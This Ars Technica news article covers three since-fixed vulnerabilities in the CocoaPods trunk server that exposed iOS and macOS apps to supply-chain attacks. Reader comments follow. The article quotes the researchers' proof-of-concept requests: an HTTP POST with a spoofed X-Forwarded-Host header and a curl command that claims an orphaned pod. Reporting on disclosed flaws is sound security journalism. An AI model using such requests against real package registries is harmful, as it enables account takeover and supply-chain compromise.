TRUNK SERVER WOES — 3 million iOS and macOS apps were exposed to potent supply-chain attacks Apps that used code libraries hosted on CocoaPods were vulnerable for about 10 years.
Dan Goodin – Jul 1, 2024 11:43 pm UTC EnlargeAurich Lawson reader comments 27
Vulnerabilities that went undetected for a decade left thousands of macOS and iOS apps susceptible to supply-chain attacks. Hackers could have added malicious code compromising the security of millions or billions of people who installed them, researchers said Monday.
The vulnerabilities, which were fixed last October, resided in a trunk server used to manage CocoaPods, a repository for open source Swift and Objective-C projects that roughly 3 million macOS and iOS apps depend on. When developers make changes to one of their podsCocoaPods lingo for individual code packagesdependent apps typically incorporate them automatically through app updates, typically with no interaction required by end users. Code injection vulnerabilities
Many applications can access a users most sensitive information: credit card details, medical records, private materials, and more, wrote researchers from EVA Information Security, the firm that discovered the vulnerability. Injecting code into these applications could enable attackers to access this information for almost any malicious purpose imaginableransomware, fraud, blackmail, corporate espionage In the process, it could expose companies to major legal liabilities and reputational risk.
The three vulnerabilities EVA discovered stem from an insecure verification email mechanism used to authenticate developers of individual pods. The developer entered the email address associated with their pod. The trunk server responded by sending a link to the address. When a person clicked on the link, they gained access to the account.
In one case, an attacker could manipulate the URL in the link to make it point to a server under the attackers control. The server accepted a spoofed XFH, an HTTP header for identifying the target host specified in an HTTP request. The EVA researchers found that they could use a forged XFH to construct URLs of their choice.
Normally, the email would contain a valid link posting to the CocoaPods.org server such as: Enlarge / How a valid verification email looks.E.V.A. Information Security
The researchers could instead change the URL to lead to their own server: Enlarge / An email verification after it has been manipulated.E.V.A. Information Security
This vulnerability, tracked as CVE-2024-38367, resided in the session_controller class of the trunk server source code, which handles the session validation URL. The class uses the sessions_controller.rb mechanism, which prioritizes the XFH over the original host header. The researchers exploit code was: POST /api/v1/sessions HTTP/1.1 Host: trunk.cococapods.org Content-Type: application/json; charset=utf-8 Accept: application/json; charset=utf-8 User-Agent: CocoaPods/1.12.1 Accept-Encoding: gzip, deflate X-Forwarded-Host: research.evasec.io Content-Length: 78 { “email”:”research@evasec.io”, “name”:”EVAResearch”, “description”:null }
A separate vulnerability tracked as CVE-2024-38368 allowed attackers to take control of pods that had been abandoned by their developers but continue to be used by apps. A programming interface allowing the developers to reclaim their pods remained active almost 10 years after it was first implemented. The researchers found that anyone who found the interface to an orphaned pod could activate it to gain control over it, with no ownership proof required.
A simple curl request that contained the pod name was all that was required: # Curl request for changing ownership of a targeted orphaned pod curl -X ‘POST’ -H ‘Host: trunk.cocoapods.org’ -H ‘Content-Type: application/x-www-form-urlencoded’ –data-binary ‘owner[name]=EVA&email=research@evasec.io’ –data-binary ‘pods[]=[TARGET_UNCLAIMED_POD]&button=SEND’ ‘https://trunk.cocoapods.org/claims’
The third vulnerability, CVE-2024-38366, allowed attackers to execute code on the trunk server. The trunk server relies on RFC822 formalized in 1982 to verify the uniqueness of registered developer email addresses and check if they follow the correct format. Part of the process involves examining the MX record for the email address domain as implemented by this RFC822 implementation. Page: 1 2 Next → reader comments 27 Dan Goodin Dan Goodin is Senior Security Editor at Ars Technica, where he oversees coverage of malware, computer espionage, botnets, hardware hacking, encryption, and passwords. In his spare time, he enjoys gardening, cooking, and following the independent music scene. Advertisement Promoted Comments reidnez Honestly, Cocoapods can’t go away soon enough to make me happy. They’ve always been a clumsy glue-on mechanism posing as a package manager, with a bunch of manual steps and such. If I never have to type "pod install" only to have it tell me I need to "pod update" and then "pod install" again, only to have it tell me… well, it’ll be too soon.
Swift Packages is a decade newer, easier to use, better integrated, and hopefully more secure….You forgot the fact that it takes over your project file, forces you to use a workspace which it also then takes over, and if it breaks shit for you theregood luck. Ive always disliked CocoaPods and really disliked the fact that, in the absence of an official/Apple-supported package manager, it became the de-facto standard for iOS developers. Any time I had a choice, I refused. Many times when I had to use some SDK from a vendor, the official instructions assumed you were already using CocoaPods and the instructions for manual installation were often incorrect, incomplete, or just absent. This was the case even with major vendors like Google. I was always so grateful when someone at least accommodated Carthage as an alternative.
SPM is hardly perfect but its worlds better. Its main deficiency is how long it took to arrive and then mature, but it finally feels there now.
Oddly enough theres still no official package manager for MacOS itself, but Homebrew fills the gap nicely enough (and has for so long) that its seldom if ever a problem. Thanks, Homebrew. July 2, 2024 at 2:11 am A_Very_Tired_Geek The notion that developers should all independently verify widely used third-party libraries every time they’re updated is completely unrealistic. Nobody would have time to work on their own apps.The notion that all developers should verify third party libraries is only unrealistic when people have unrealistic expectations about pushing out products. This is no longer optional. Supply chain attacks on libraries and utility projects are real. It’s no longer a theoretical problem. Either do it yourself, or pay to have it done, or be honest with people and say you don’tcare enough about THEIR security and privacy to be sure your dependencies are reasonably free of taint. If it’s a matter of money, then proportionate raises in prices are called for, and it’s possible to cooperatively pool resources with other developers using the same library to pay for a skilled audit. Raising prices as appropriate is called for and the general public expectations of always getting stuff for "free" needs to end.
If developers (and companies) can’t manage this requirement, then they should be reevaluating whether they should be in the business of software products at all. July 2, 2024 at 2:23 am Channel Ars Technica ← Previous story Next story → Related Stories Today on Ars